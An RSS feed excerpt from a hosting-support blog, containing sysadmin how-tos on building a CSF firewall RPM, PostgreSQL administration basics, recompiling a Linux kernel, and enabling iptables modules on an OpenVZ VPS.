<li>SRPMS: SRPMS contains the source RPM built during the process.</li>
</ul>
<pre class="brush: bash; title: ; notranslate">[sage@server csfrpm]$ ls
BUILD  RPMS  SOURCES  SPECS  SRPMS</pre>
<p>Copy the source code that we have created(csf-0.0.1.tar.gz) to the SOURCES folder. Make sure that the owner  for source file is your_username.</p>
<pre class="brush: bash; title: ; notranslate">[sage@server ~]$ cp csf-0.0.1.tar.gz /home/your_username/csfrpm/SOURCES/</pre>
<p>Create the SPEC file:</p>
<p>SPEC file is noting but the configuration for rpmbuild tool.</p>
<pre class="brush: bash; title: ; notranslate">[sage@server csfrpm]$ vi SPECS/csf.spec</pre>
<pre class="brush: bash; title: ; notranslate"># This is a sample spec file for csf

%define _topdir         /home/your_username/csfrpm
%define name            csf
%define release         0
%define version         0.0.1
BuildRoot: %{_tmppath}/%{name}-%{version}-root
Summary:                GNU csf
License:                GPL
Name:                   %{name}
Version:                %{version}
Release:                %{release}
Source:                 %{name}-%{version}.tar.gz
Group:                  Security/Tools

%description
A Stateful Packet Inspection (SPI) firewall, Login/Intrusion Detection and Security application for Linux servers.

%prep
%setup -q

%install
./install.cpanel.sh prefix=$RPM_BUILD_ROOT/usr/local

%clean
%{__rm} -rf %{buildroot}

%files
%defattr(-,root,root,0755)</pre>
<p>Finally Build the RPM:</p>
<pre class="brush: bash; title: ; notranslate">[sage@server csfrpm]$ rpmbuild -v -bb --clean SPECS/csf.spec</pre>
<p>You can see the result if everything went fine:</p>
<pre class="brush: bash; title: ; notranslate">Processing files: csf-0.0.1-0
Checking for unpackaged file(s): /usr/lib/rpm/check-files /var/tmp/csf-0.0.1-root
Wrote: /home/your_username/csfrpm/RPMS/i386/csf-0.0.1-0.i386.rpm
Executing(%clean): /bin/sh -e /var/tmp/rpm-tmp.84469
+ umask 022
+ cd /home/your_username/csfrpm/BUILD
+ cd csf-0.0.1
+ /bin/rm -rf /var/tmp/csf-0.0.1-root
+ exit 0
Executing(--clean): /bin/sh -e /var/tmp/rpm-tmp.84469
+ umask 022
+ cd /home/yuor_username/csfrpm/BUILD
+ rm -rf csf-0.0.1
+ exit 0</pre>
<p>The RPM is written to /home/your_username/csfrpm/RPMS/i386/csf-0.0.1-0.i386.rpm</p>
<div class="tweetthis" style="text-align:left;"><p> <a  class="tt" href="http://twitter.com/home/?status=How+to+create+a+RPM+from+source+package%28Creating+CSF+RPM%29+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F1190" title="Post to Twitter"><img class="nothumb" src="http://www.supportsages.com/blog/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter3.png" alt="Post to Twitter" /></a> <a  class="tt" href="http://twitter.com/home/?status=How+to+create+a+RPM+from+source+package%28Creating+CSF+RPM%29+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F1190" title="Post to Twitter">Tweet This Post</a></p></div>]]></content:encoded>
			<wfw:commentRss>http://www.supportsages.com/blog/2010/08/how-to-create-a-rpm-from-source-packagecreating-csf-rpm/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PostgreSQL for the sage &#8211; Must know basics for the system administrators</title>
		<link>http://www.supportsages.com/blog/2010/08/postgresql-for-the-sage-must-know-basics-for-the-system-administrators/</link>
		<comments>http://www.supportsages.com/blog/2010/08/postgresql-for-the-sage-must-know-basics-for-the-system-administrators/#comments</comments>
		<pubDate>Thu, 05 Aug 2010 16:24:44 +0000</pubDate>
		<dc:creator>victor</dc:creator>
				<category><![CDATA[cPanel]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Howtos]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[PostgreSQL]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Snippets]]></category>
		<category><![CDATA[Training]]></category>
		<category><![CDATA[Troubleshooting]]></category>
		<category><![CDATA[VPS]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[restore]]></category>

		<guid isPermaLink="false">http://www.supportsages.com/blog/?p=1144</guid>
		<description><![CDATA[﻿﻿PostgreSQL or Postgres is an object-relational database management system (ORDBMS). Unlike MySQL, PostgreSQL is not controlled by any single company, it is a community developed project. It is a advanced version of the 'Ingres' Database project (which is how the project gets the name post-ingres or postgres ).

Postgres is one of the best open-source database alternative which is fully object oriented and transactions compliant. It has stored procedures, multiple views and a huge set of datatypes. Some of the other notable features are as follows.

<strong>Objects and Inheritance</strong>

Database consists of objects and the database administrators can design custom or user-defined objects ...]]></description>
			<content:encoded><![CDATA[<p>﻿﻿PostgreSQL or Postgres is an object-relational database management system (ORDBMS). Unlike MySQL, PostgreSQL is not controlled by any single company, it is a community developed project. It is a advanced version of the &#8216;Ingres&#8217; Database project (which is how the project gets the name post-ingres or postgres ).</p>
<p>Postgres is one of the best open-source database alternative which is fully object oriented and transactions compliant. It has stored procedures, multiple views and a huge set of datatypes. Some of the other notable features are as follows.</p>
<p><strong>Objects and Inheritance</strong></p>
<p>Database consists of objects and the database administrators can design custom or user-defined objects for the tables. Inheritance is another feature. Tables can be set to inherit their characteristics from a &#8220;parent&#8221; table.</p>
<p><strong>Functions </strong></p>
<p>Functions can be used in Postgres. These can be written in the postgres&#8217; own procedural language called &#8216;PL/pgSQL&#8217; which resembles Oracle&#8217;s procedural language &#8216;PL/SQL&#8217; or any other common scripting languages which support posgtres&#8217; procedural language like PL/Perl, plPHP, PL/Python, PL/Ruby etc. Run the following in the psql client to determine if functions is enabled:</p>
<pre class="brush: bash; title: ; notranslate">SELECT true FROM pg_catalog.pg_language WHERE lanname = 'plpgsql'; </pre>
<p>To create user-defined functions we use the CREATE OR REPLACE FUNCTION  command.  Example:</p>
<pre class="brush: bash; title: ; notranslate">CREATE OR REPLACE FUNCTION fib (

fib_for integer

) RETURNS integer AS $$

BEGIN

IF fib_for &lt; 2 THEN

RETURN fib_for;

END IF;

RETURN fib(fib_for - 2) + fib(fib_for - 1);

END;

$$ LANGUAGE plpgsql;</pre>
<p><strong>Indexes </strong></p>
<p>An index is like a summary of a certain portion of the table. It is an optimization technique which increases speed of accessing records from a database. PostgreSQL supports indexes like Btree, hash etc. User-defined index methods can also be created. Indexes are created on tables with respect to a particular field (based on which there are a number of queries). As an example for a table:</p>
<pre class="brush: bash; title: ; notranslate">CREATE TABLE name (

id integer,

fname varchar

lname varchar

);</pre>
<p>To create an index on table name with respective to the field id (as there are many queries on this table requesting for firstname or lastname from the id provided), we use the index:</p>
<pre class="brush: bash; title: ; notranslate">CREATE INDEX name_id_index ON name (id);</pre>
<p><strong>Triggers</strong></p>
<p>Triggers are events or functions run upon the action of certain SQL statements which modify data in some records. Depending on the kind of modification we can have multiple triggers in a database. Postgres supports multiple triggers written in PL/PgSQL or it&#8217;s scripting counterparts like PL/Python. The trigger function must be defined before the trigger can be created. The trigger function must be declared as a function taking no arguments and returning type trigger. CREATE TRIGGER command is used to declare triggers.</p>
<p><strong>Concurrency </strong></p>
<p>PostgreSQL ensures concurrency with the help of MVCC (Multi-Version Concurrency Control), which gives the database user a &#8220;snapshot&#8221; of the database, allowing changes to be made without being visible to other users until a transaction is committed.</p>
<p>PostgreSQL&#8217;s MVCC keeps all of the versions of the data together in the same partition in the same table. By identifying which rows were added by which transactions, which rows were deleted by which transactions, and which transactions have actually committed, it becomes a straightforward check to see which rows are visible for which transactions.</p>
<p>Inorder to accomplish this, Rows of a table are stored in PostgreSQL as a tuple. Two fields of each tuple are xmin and xmax. Xmin is the transaction ID of the transaction that created the tuple. Xmax is the transaction ID of the transaction that deleted it (if any).</p>
<p>Along with the tuples in each table, a record of each transaction and its current state (in progress, committed, aborted) is kept in a universal transaction log.</p>
<p>When data in a table is selected, only those rows that are created and not destroyed are seen. That is, each row&#8217;s xmin is observed. If the xmin is a transaction that is in progress or aborted, then the row is invisible. If the xmin is a transaction that has committed, then the xmax is observed. If the xmax is a transaction that is in progress or aborted and not the current transaction, or if there is no xmax at all, then the row is seen. Otherwise, the row is considered as already deleted.</p>
<p>Insertions are straightforward. The transaction that inserts the tuple simply creates it with the xmax blank and the xmin set to its transaction ID. Deletions are also straightforward. The tuple&#8217;s xmax is set to the current transaction. Updates are no more than a concurrent insert and delete.</p>
<p><strong>Views</strong></p>
<p>A view is a table which does not exist in the database. It is a virtual table created from fields in various tables and is joined together based on some criteria. Views can be used in place of tables and will accomplish the task same as that of a table. The CREATE VIEW statement is used to accomplish this eg:</p>
<pre class="brush: bash; title: ; notranslate">CREATE VIEW best_sellers AS

SELECT * FROM publishers WHERE demand LIKE 'high';</pre>
<p><strong>Foreign Keys</strong></p>
<p>The primary key used in one table which is used to refer to the records in a second table is called the foreign key of the second table.</p>
<pre class="brush: bash; title: ; notranslate">CREATE TABLE products (
    product_no integer PRIMARY KEY,
    name text,
    price numeric
);
CREATE TABLE orders (
    order_id integer PRIMARY KEY,
    product_no integer REFERENCES products (product_no),
    quantity integer
);</pre>
<p>Here product_no is the foreign key in the second table created. The foreign key field may have values which are repeated unlike primary keys.</p>
<p><strong>Files Users and Configuration</strong></p>
<p>The main configuration file of Postgres is postgresql.conf. This can be located in the &#8216;data&#8217; directory. It may be present either in /var/lib (/var/lib/pgsql/data/postgresql.conf) or /usr/local (/usr/local/pgsql/data/postgresql.conf). Temporary changes to the configurations can be made using postmaster command.</p>
<p>The init script that starts the postgres service is /etc/init.d/postgresql . It runs a number of child processes concurrently. The postgres server process is postmaster. These processes and files associated with PosgreSQL are owned by the user/group postgres. The default port used for database connections is 5432</p>
<p>The user postgres is the PostgreSQL database superuser. We can create a number of super users for the database (this accomplished by the create role command ), however, the default super user is postgres. The postgres user has the privilege to access all the databases and files in the server (Unless the user root is created in postgres as a superuser).</p>
<p>Client Authentication is controlled by the file pg_hba.conf in the data directory, e.g., /var/lib/pgsql/data/pg_hba.conf. (HBA stands for host-based authentication.)</p>
<p>Each record specifies a connection type, a client IP address range (if relevant for the connection type), a database name or names, and the authentication method to be used for connections matching these parameters.A record is typically in one of two forms:</p>
<p>local   database authentication-method [ authentication-option ]</p>
<p>host    database IP-address IP-mask authentication-method [ authentication-option ]</p>
<p>local : This record pertains to connection attempts over Unix domain sockets.</p>
<p>host : This record pertains to connection attempts over TCP/IP networks.</p>
<p>database : Specifies the database that this record applies to. The value all specifies that it applies to all databases, while the value sameuser identifies the database with the same name as the connecting user.</p>
<p>authentication methods</p>
<p>trust: The connection is allowed unconditionally.</p>
<p>reject: The connection is rejected unconditionally.</p>
<p>password: The client is required to supply a password which is required to match the database password that was set up for the user.</p>
<p>md5: Like the password method, but the password is sent over the wire encrypted using a simple challenge-response protocol.</p>
<p>ident: This method uses the &#8220;Identification Protocol&#8221; as described in RFC 1413. It may be used to authenticate TCP/IP or Unix domain socket connections, but its reccomended use is for local connections only and not remote connections.</p>
<p><strong>Front-ends </strong></p>
<p>The minimalistic front-end for PostgreSQL is the psql command-line. It can be used to enter SQL queries directly, or execute them from a file. phpPgAdmin is a web-portal used for PostgreSQL administration written in PHP and based on the popular phpMyAdmin. Likewise pgAdmin is a graphical front-end administration tool for PostgreSQL, which has support on multiple platforms. The latest stable version of the same is pgAdmin III.</p>
<p><strong>Some administration related commands</strong></p>
<p>Command to login to psql database mydb as user myuser:</p>
<pre class="brush: bash; title: ; notranslate">psql -d mydb -U myuser</pre>
<p>Command to login to psql database mydb as user myuser on a different host myhost:</p>
<pre class="brush: bash; title: ; notranslate">psql -h myhost -d mydb -U myuser</pre>
<p>If the port the server runs is different we use -p [port number] . Upon entering the psql shell the prompt will show the database name currently being used. In the above example it will show</p>
<pre class="brush: bash; title: ; notranslate">mydb=&gt; (if logged in as an ordinary user )</pre>
<pre class="brush: bash; title: ; notranslate">mydb=# (if logged in as a super user like postgres)</pre>
<p><strong>Create a PostgreSQL user </strong></p>
<p>There are two ways to create a postgres database user. The only user initially allowed to create users is postgres. So one has to switch to this user before creating other users with varying privileges.</p>
<p>1. Creating the user in the shell prompt, with createuser command.</p>
<p>switch to the postgres user with:</p>
<pre class="brush: bash; title: ; notranslate">su - postgres

createuser tom

Shall the new role be a superuser? (y/n) n

Shall the new role be allowed to create databases? (y/n) y

Shall the new role be allowed to create more new roles? (y/n) n</pre>
<p>2. Creating the user in the PSQL prompt, with CREATE USER command.</p>
<p>switch to the postgres user with:</p>
<pre class="brush: bash; title: ; notranslate">su - postgres

create user mary with password 'marypass';</pre>
<p><strong>Creating and deleting a PostgreSQL Database </strong></p>
<p>There are two way to create databases.</p>
<p>1. Creating database in the PSQL prompt, with createuser command.</p>
<pre class="brush: bash; title: ; notranslate">CREATE DATABASE db1 WITH OWNER tom;</pre>
<p>2. Creating database in the shell prompt, with createdb command.</p>
<pre class="brush: bash; title: ; notranslate">createdb db2 -O mary</pre>
<p>To delete an entire database from within the psql prompt do :</p>
<pre class="brush: bash; title: ; notranslate">DROP DATABASE db1;</pre>
<p><strong>Determining execution time of a query</strong></p>
<p>Turn on timing with</p>
<pre class="brush: bash; title: ; notranslate">\timing</pre>
<p>Now execute the qery:</p>
<pre class="brush: bash; title: ; notranslate">SELECT * from db1.employees ;

Time: 0.065 ms</pre>
<p><strong>Calculate postgreSQL database size in disk </strong></p>
<pre class="brush: bash; title: ; notranslate">SELECT pg_database_size('db1');</pre>
<p>to get the values in human readable format</p>
<pre class="brush: bash; title: ; notranslate">SELECT pg_size_pretty(pg_database_size('db1'));</pre>
<p>to calculate postgreSQL table size in disk</p>
<p>SELECT pg_size_pretty(pg_total_relation_size(&#8216;big_table&#8217;));</p>
<p><strong>Slash commands used in psql</strong></p>
<p>To list all slash commands and thier purpose. Login to psql and issue to the command \? . Some of the most commonly used slash commands are the following:</p>
<table>
<tbody>
<tr>
<td>List databases</td>
<td>\l</td>
</tr>
<tr>
<td>System tables</td>
<td>\dS</td>
</tr>
<tr>
<td>Types</td>
<td>\dT</td>
</tr>
<tr>
<td>Functions</td>
<td>\df</td>
</tr>
<tr>
<td>Operators</td>
<td>\do</td>
</tr>
<tr>
<td>Aggregates</td>
<td>\da</td>
</tr>
<tr>
<td>Users</td>
<td>\du</td>
</tr>
<tr>
<td>Quit from psql</td>
<td>\q</td>
</tr>
<tr>
<td>Connect to different database db2</td>
<td>\c db2</td>
</tr>
<tr>
<td>Describe Table/index/view/sequence</td>
<td>\d</td>
</tr>
</tbody>
</table>
<p>The below can be used with a specific table/index/view name for description of the specific table/index/view</p>
<table>
<tbody>
<tr>
<td>Tables</td>
<td>\dt</td>
</tr>
<tr>
<td>Indexes</td>
<td>\di</td>
</tr>
<tr>
<td>Sequences</td>
<td>\ds</td>
</tr>
<tr>
<td>Views</td>
<td>\dv</td>
</tr>
</tbody>
</table>
<p><strong>Useful Bash commands</strong></p>
<p>Bash command to list all the postgresql databases:</p>
<pre class="brush: bash; title: ; notranslate">psql -l #This can be run as a unix user who is also a super user in postgresql</pre>
<p>Indirect bash command to list all the postgresl users:</p>
<pre class="brush: bash; title: ; notranslate">psql -c '\du' #-c is used to run an internal or sql command in psql shell</pre>
<p><strong>Backing up and restoring databases</strong></p>
<p>To dump the database to an sql file use the bash command:</p>
<pre class="brush: bash; title: ; notranslate">pg_dump mydb &amp;gt; db.out</pre>
<p>To restore a database from an sql backup file (via bash)</p>
<pre class="brush: bash; title: ; notranslate">psql -d newdb -f backupdb.out

or

psql -f backupdb.out newdb</pre>
<p>(here the database newdb must be already created and the file backupdb.out must be present in the current directory)</p>
<p>To take the backup of all the Postgres databases in the server:</p>
<pre class="brush: bash; title: ; notranslate">pg_dumpall &gt; /var/lib/pgsql/backups/dumpall.sql</pre>
<p>(Only possible with the postgres or the database superuser )</p>
<p><strong>Resetting database user&#8217;s password</strong></p>
<p>To change the password for a database user (say &#8216;thomas&#8217;):</p>
<pre class="brush: bash; title: ; notranslate">ALTER USER thomas WITH PASSWORD 'newpassword';</pre>
<p>This same command can be used to reset the password for the postgresql super user postgres, but in this case, you will have to enable password less login for postgres user by adding the following line to the top of the file pg_hba.conf in the data directory of postgres. Once the password is reset this line can be removed:</p>
<pre class="brush: bash; title: ; notranslate">local	all	postgres	trust</pre>
<p>Next we issue the same command but for the user postgres</p>
<pre class="brush: bash; title: ; notranslate">ALTER USER postgres WITH PASSWORD 'newpassword';</pre>
<p>To create a super user via bash with multiple roles</p>
<pre class="brush: bash; title: ; notranslate">createuser -sPE mysuperuser</pre>
<p>Instead of this we can also use the below psql shell command:</p>
<pre class="brush: bash; title: ; notranslate">CREATE ROLE mysuperuser2 WITH SUPERUSER CREATEDB CREATEROLE LOGIN ENCRYPTED PASSWORD 'mysuperpass2';</pre>
<p><strong>Physical database files in postgres</strong></p>
<p>The files in data/base are named by the oid (Object Identifier) of the database record in</p>
<p>pg_database, like this:</p>
<pre class="brush: bash; title: ; notranslate">cd /var/lib/pgsql/data/base

ls -l

total 33

drwx------ 22 postgres postgres 4096 Jul 23 20:06 ./

drwx------ 11 postgres postgres 4096 Aug  1 05:59 ../

drwx------  2 postgres postgres 4096 Jun 20 09:32 1/

drwx------  2 postgres postgres 4096 Mar  3 13:36 10792/

drwx------  2 postgres postgres 4096 Jun 20 15:09 10793/

drwx------  2 postgres postgres 4096 May 27 01:40 16497/

drwx------  2 postgres postgres 4096 May 27 01:40 16589/

drwx------  2 postgres postgres 4096 Jun 20 10:28 16702/

drwx------  2 postgres postgres 4096 May 27 01:40 16764/

drwx------  2 postgres postgres 4096 May 27 01:40 16785/

drwx------  2 postgres postgres 4096 Aug  1 04:37 16786/

drwx------  2 postgres postgres 4096 Aug  1 04:36 19992/

drwx------  2 postgres postgres 4096 May 27 01:40 19997/</pre>
<p>To obtain the oid, execute the following command in psql prompt</p>
<pre class="brush: bash; title: ; notranslate">postgres=# select oid,datname from pg_database order by oid;

   oid  |         datname

---------+--------------------------

1 | template1

10792 | template0

10793 | postgres

16497 | gadgetwi_Unable

16589 | vimusicc_filehost

16702 | personea_altissimo

16764 | shopping_businessfinance

16785 | ansonyi_wp2

16786 | ansonyi_wp

19992 | globook_PostgreSQL</pre>
<div class="tweetthis" style="text-align:left;"><p> <a  class="tt" href="http://twitter.com/home/?status=PostgreSQL+for+the+sage+-+Must+know+basics+for+the+system+administrators+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F1144" title="Post to Twitter"><img class="nothumb" src="http://www.supportsages.com/blog/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter3.png" alt="Post to Twitter" /></a> <a  class="tt" href="http://twitter.com/home/?status=PostgreSQL+for+the+sage+-+Must+know+basics+for+the+system+administrators+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F1144" title="Post to Twitter">Tweet This Post</a></p></div>]]></content:encoded>
			<wfw:commentRss>http://www.supportsages.com/blog/2010/08/postgresql-for-the-sage-must-know-basics-for-the-system-administrators/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to recompile Kernel?</title>
		<link>http://www.supportsages.com/blog/2009/10/how-to-recompile-kernel/</link>
		<comments>http://www.supportsages.com/blog/2009/10/how-to-recompile-kernel/#comments</comments>
		<pubDate>Sat, 03 Oct 2009 08:45:20 +0000</pubDate>
		<dc:creator>George</dc:creator>
				<category><![CDATA[cPanel]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Howtos]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.supportsages.com/blog/?p=568</guid>
		<description><![CDATA[<strong>Kernel Recompilation</strong>

Compiling custom kernel has its own advantages and disadvantages.  It helps to optimize the 			kernel to your environment (hardware and usage patterns).  I shall try to guide you through Kernel recompilation process.

<strong>Step 1:</strong>

Download the kernel source

<em>cd /usr/local/src </em>

<em>wget  <code>http://www.kernel.org/pub/linux/kernel/v2.6/linux-x.y.z.tar.bz2</code></em>

Note: Replace  x.y.z with actual version number.

<strong>Step 2:</strong>

Extract the  source file

<em><code>tar -xjvf </code><code>linux-x.y.z.tar.bz2</code></em>

<strong>Step 3: </strong>

Patching the Kernel

If you are requested to apply any patches , follow these steps

a) Move the downloaded kernel patch to the <code>/usr/local/src</code> directory.

b)  Extract the patch file

c)  Patch the kernel  source using the extracted  patch file

<em>cd /usr/local/src/<code>linux-x.y.z</code></em>

<em> <code>patch -p1 &#60; patchfile-2.2.x</code></em>

Now the  Kernel Source is patched ...]]></description>
			<content:encoded><![CDATA[<p><strong>Kernel Recompilation</strong></p>
<p>Compiling custom kernel has its own advantages and disadvantages.  It helps to optimize the 			kernel to your environment (hardware and usage patterns).  I shall try to guide you through Kernel recompilation process.</p>
<p><strong>Step 1:</strong></p>
<p>Download the kernel source</p>
<p><em>cd /usr/local/src </em></p>
<p><em>wget  <code>http://www.kernel.org/pub/linux/kernel/v2.6/linux-x.y.z.tar.bz2</code></em></p>
<p>Note: Replace  x.y.z with actual version number.</p>
<p><strong>Step 2:</strong></p>
<p>Extract the  source file</p>
<p><em><code>tar -xjvf </code><code>linux-x.y.z.tar.bz2</code></em></p>
<p><strong>Step 3: </strong></p>
<p>Patching the Kernel</p>
<p>If you are requested to apply any patches , follow these steps</p>
<p>a) Move the downloaded kernel patch to the <code>/usr/local/src</code> directory.</p>
<p>b)  Extract the patch file</p>
<p>c)  Patch the kernel  source using the extracted  patch file</p>
<p><em>cd /usr/local/src/<code>linux-x.y.z</code></em></p>
<p><em> <code>patch -p1 &lt; patchfile-2.2.x</code></em></p>
<p>Now the  Kernel Source is patched against known  vulnerabilities.</p>
<p><strong>Step 4:</strong></p>
<p>Configuration</p>
<p>If you are trying to upgrade the Kernel of already running server , it is always better use the existing configuration. To do this follow these steps</p>
<p><em> #uname -a</em><br />
Linux  Server1  2.6.18-164.el5 #1 SMP Thu Sep 3 03:28:30 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux</p>
<p><em># cd /boot</em></p>
<p>There you can see different configuration files as given below</p>
<p><em>#ls</em></p>
<p>config-2.6.18-128.el5    initrd-2.6.18-128.el5.img  message<br />
config-2.6.18-164.el5     initrd-2.6.18-164.el5.img  quota.user*</p>
<p>identify the configuration file corresponding to the version of OS installed , In our case it is config-2.6.18-164.el5 . We are  copying this file to the downloaded kernel source  to use it during configuration.</p>
<p><em>#cp -p config-2.6.18-164.el5 /usr/local/src/linux-x.y.z/.config</em></p>
<p><em># make clean </em></p>
<p><em># make mrproper </em></p>
<p><em><code># make menuconfig</code></em></p>
<p>You have to select different options as per your need.   If you  intended to use the existing configuration ,specify the path to the file  ( .config in this case) by selecting the option</p>
<p><strong>&#8220;Load an Alternative configuration file&#8221;</strong></p>
<p><strong>Step 5: Compilation </strong></p>
<p>Compile the Kernel using the following commands</p>
<p>Compile to create a  compressed kernel image</p>
<p><em># make </em></p>
<p>Compile  kernel modules:</p>
<p><em>#<code> make modules </code></em></p>
<p>Install kernel modules</p>
<p><em><code>#  make modules_install</code></em></p>
<p><strong>Step 6: Install Kernel </strong></p>
<p>If the above steps completed without any errors , now its the time to Install the new Kernel</p>
<p><em> <code># make install </code></em></p>
<p>It will install three files into /boot directory as well as modification to your kernel grub configuration file:</p>
<p>System.map-x.y.z</p>
<p>config-x.y.z</p>
<p>vmlinuz-x.y.z</p>
<p><strong>Step 7:  Create the Initrd image </strong></p>
<p>Type the following command  :</p>
<p><em><code># cd /boot</code></em></p>
<p><em># <code> mkinitrd -o initrd.img-x.y.x  x.y.z</code></em></p>
<p>initrd images contains device driver which needed to load rest of the operating system later on. Not all computer requires it, but it is  better  to create one</p>
<p><strong>Step 8: Boot Loader Modification </strong></p>
<p>Mofdify the boot loader to boot the new OS as default . Check the documentaions corresponding to your boot loader</p>
<p><strong>Step 9: The last step </strong></p>
<p>execute the following command</p>
<p><em>#reboot </em></p>
<p>Wait a few minutes and once it is up , you can see that the new Kernel is loaded <img src='http://www.supportsages.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<div class="tweetthis" style="text-align:left;"><p> <a  class="tt" href="http://twitter.com/home/?status=How+to+recompile+Kernel%3F+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F568" title="Post to Twitter"><img class="nothumb" src="http://www.supportsages.com/blog/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter3.png" alt="Post to Twitter" /></a> <a  class="tt" href="http://twitter.com/home/?status=How+to+recompile+Kernel%3F+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F568" title="Post to Twitter">Tweet This Post</a></p></div>]]></content:encoded>
			<wfw:commentRss>http://www.supportsages.com/blog/2009/10/how-to-recompile-kernel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to enable IPtable modules on a VPS</title>
		<link>http://www.supportsages.com/blog/2009/08/how-to-enable-iptable-modules-on-a-vps/</link>
		<comments>http://www.supportsages.com/blog/2009/08/how-to-enable-iptable-modules-on-a-vps/#comments</comments>
		<pubDate>Wed, 12 Aug 2009 05:19:26 +0000</pubDate>
		<dc:creator>Fabian</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[VPS]]></category>
		<category><![CDATA[enable iptable modules for VPS]]></category>
		<category><![CDATA[VPS iptable modules]]></category>

		<guid isPermaLink="false">http://www.supportsages.com/blog/?p=520</guid>
		<description><![CDATA[Before trying to enable iptable modules on the VPS, make sure that those modules are enabled on the root node server. To check whether the particular iptable modules are enabled or not on the root node, execute the following command.
<blockquote>lsmod</blockquote>
A Sample out put for the lsmod is :
<blockquote>Module                  Size  Used by
xt_helper              35584  0
ip_conntrack_ftp       42320  2
ipt_LOG                39808  0
ipt_owner              34944  0
ipt_REDIRECT           34944  0
ipt_recent             43404  2
xt_state               35200  5
sch_sfq                38912  1
cls_u32                41352  1
sch_cbq                50688  1
ppp_deflate            39168  0
zlib_deflate           52760  1 ppp_deflate
ppp_async              45184  0
ppp_generic            62624  2 ppp_deflate,ppp_async
slhc                   39552  1 ppp_generic
crc_ccitt              35200  1 ppp_async
tun                    47872  0
vzethdev               47264  0
simfs                  38296  36
vzrst                 173096  0
vzcpt                 148792  0
vzdquota               78832  36 [permanent]
xt_tcpudp              ...]]></description>
			<content:encoded><![CDATA[<p>Before trying to enable iptable modules on the VPS, make sure that those modules are enabled on the root node server. To check whether the particular iptable modules are enabled or not on the root node, execute the following command.</p>
<blockquote><p>lsmod</p></blockquote>
<p>A Sample out put for the lsmod is :</p>
<blockquote><p>Module                  Size  Used by<br />
xt_helper              35584  0<br />
ip_conntrack_ftp       42320  2<br />
ipt_LOG                39808  0<br />
ipt_owner              34944  0<br />
ipt_REDIRECT           34944  0<br />
ipt_recent             43404  2<br />
xt_state               35200  5<br />
sch_sfq                38912  1<br />
cls_u32                41352  1<br />
sch_cbq                50688  1<br />
ppp_deflate            39168  0<br />
zlib_deflate           52760  1 ppp_deflate<br />
ppp_async              45184  0<br />
ppp_generic            62624  2 ppp_deflate,ppp_async<br />
slhc                   39552  1 ppp_generic<br />
crc_ccitt              35200  1 ppp_async<br />
tun                    47872  0<br />
vzethdev               47264  0<br />
simfs                  38296  36<br />
vzrst                 173096  0<br />
vzcpt                 148792  0<br />
vzdquota               78832  36 [permanent]<br />
xt_tcpudp              36224  21<br />
xt_length              34944  0<br />
ipt_ttl                34816  0<br />
xt_tcpmss              35328  0<br />
ipt_TCPMSS             37248  0<br />
iptable_mangle         37888  36<br />
xt_multiport           36224  0<br />
xt_limit               36352  4<br />
ipt_tos                34560  0<br />
ipt_REJECT             39556  1<br />
iptable_nat            43532  46<br />
ip_nat                 53392  3 ipt_REDIRECT,vzrst,iptable_nat<br />
iptable_filter         37760  42<br />
ip_conntrack          100884  29 xt_helper,ip_conntrack_ftp,xt_state,vzrst,vzcpt,iptable_nat,ip_nat<br />
nfnetlink              40392  2 ip_nat,ip_conntrack<br />
ip_tables              57440  3 iptable_mangle,iptable_nat,iptable_filter<br />
x_tables               52744  17 xt_helper,ipt_LOG,ipt_owner,ipt_REDIRECT,ipt_recent,xt_state,xt_tcpudp,xt_length,ipt_ttl,xt_tcpmss,ipt_TCPMSS,xt_multiport,xt_limit,ipt_tos,ipt_REJECT,iptable_nat,ip_tables<br />
autofs4                57480  2<br />
hidp                   83584  2<br />
rfcomm                105000  0</p></blockquote>
<p>Here we can see most of the modules are already enabled on the node server. If not enabled, execute the following commands one by one to enable those.</p>
<blockquote><p>modprobe ipt_helper<br />
modprobe ipt_REDIRECT<br />
modprobe ipt_state<br />
modprobe ipt_TCPMSS<br />
modprobe ipt_LOG<br />
modprobe ipt_TOS<br />
modprobe iptable_nat<br />
modprobe ipt_length<br />
modprobe ipt_tcpmss<br />
modprobe iptable_mangle<br />
modprobe ipt_limit<br />
modprobe ipt_tos<br />
modprobe iptable_filter<br />
modprobe ipt_helper<br />
modprobe ipt_tos<br />
modprobe ipt_ttl<br />
modprobe ipt_REJECT<br />
modprobe ipt_helper<br />
modprobe ipt_owner</p></blockquote>
<p>Next step is to enable these modules on the VPS.</p>
<p>Stop the container first :  vzctl stop 960 ( replace 960 with the concerned VPS ID )</p>
<p>Execute the following command :</p>
<blockquote><p>vzctl set 960 &#8211;iptables ipt_REJECT &#8211;iptables ipt_tos &#8211;iptables ipt_TOS &#8211;iptables ipt_LOG &#8211;iptables ip_conntrack &#8211;iptables ipt_limit &#8211;iptables ipt_multiport &#8211;iptables iptable_filter &#8211;iptables iptable_mangle &#8211;iptables ipt_TCPMSS &#8211;iptables ipt_tcpmss &#8211;iptables ipt_ttl &#8211;iptables ipt_length &#8211;iptables ipt_state &#8211;iptables iptable_nat &#8211;iptables ip_nat_ftp &#8211;iptables ip_conntrack_ftp &#8211;iptables ip_conntrack_irc &#8211;iptables ip_nat_irc &#8211;iptables ipt_owner &#8211;iptables ipt_helper &#8211;save</p></blockquote>
